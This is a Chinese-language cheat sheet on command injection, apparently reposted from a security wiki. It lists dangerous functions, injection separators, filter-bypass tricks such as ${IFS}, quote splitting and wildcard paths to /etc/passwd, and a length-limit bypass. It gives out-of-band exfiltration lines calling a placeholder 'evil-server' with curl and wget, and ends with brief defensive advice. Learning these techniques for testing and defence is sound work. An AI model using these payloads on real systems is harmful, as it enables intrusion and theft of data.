常见危险函数

PHP

  • system
  • exec
  • passthru
  • shell_exec
  • popen
  • proc_open

Python

  • system
  • popen
  • subprocess.call
  • spawn

Java

  • java.lang.Runtime.getRuntime().exec(command)

常见注入方式

  • 分号分割
  • || && & 分割
  • | 管道符
  • \r\n %d0%a0 换行
  • 反引号解析
  • $() 替换

无回显技巧

  • bash反弹shell
  • DNS外带数据
  • http外带
 curl http://evil-server/$(whoami)
 wget http://evil-server/$(whoami)
  • 无带外时利用 sleep 或其他逻辑构造布尔条件

常见绕过方式

空格绕过

  • < 符号 cat<123
  • \t / %09
  • ${IFS} 其中{}用来截断,比如cat$IFS2会被认为IFS2是变量名。另外,在后面加个$可以起到截断的作用,一般用$9,因为$9是当前系统shell进程的第九个参数的持有者,它始终为空字符串

黑名单绕过

  • a=l;b=s;$a$b
  • base64 echo "bHM=" | base64 -d
  • /?in/?s => /bin/ls
  • 连接符 cat /etc/pass'w'd
  • 未定义的初始化变量 cat$x /etc/passwd

长度限制绕过

>wget\
>foo.\
>com
ls -t > a
sh a

上面的方法为通过命令行重定向写入命令,接着通过ls按时间排序把命令写入文件,最后执行 直接在Linux终端下执行的话,创建文件需要在重定向符号之前添加命令 这里可以使用一些诸如w,[之类的短命令,(使用ls /usr/bin/?查看) 如果不添加命令,需要Ctrl+D才能结束,这样就等于标准输入流的重定向 而在php中 , 使用 shell_exec 等执行系统命令的函数的时候 , 是不存在标准输入流的,所以可以直接创建文件

常用符号

命令分隔符

  • %0a / %0d / \n / \r
  • ;
  • & / &&

通配符

  • * 0到无穷个任意字符
  • ? 一个任意字符
  • [ ] 一个在括号内的字符,e.g. [abcd]
  • [ - ] 在编码顺序内的所有字符
  • [^ ] 一个不在括号内的字符

防御

  • 不使用时禁用相应函数
  • 尽量不要执行外部的应用程序或命令
  • 做输入的格式检查
  • 转义命令中的所有shell元字符
 shell元字符包括 #&;,|*?~<>^()[]{}$\`

命令行注入,用户输入的字符串被直接作为系统命令在命令行执行。 存储型命令行注入,来自存储设备的字符串被直接作为命令行使用。

 

转:https://wiki.freebuf.com/detail?tribal_id=31&camp_id=17&entry_id=865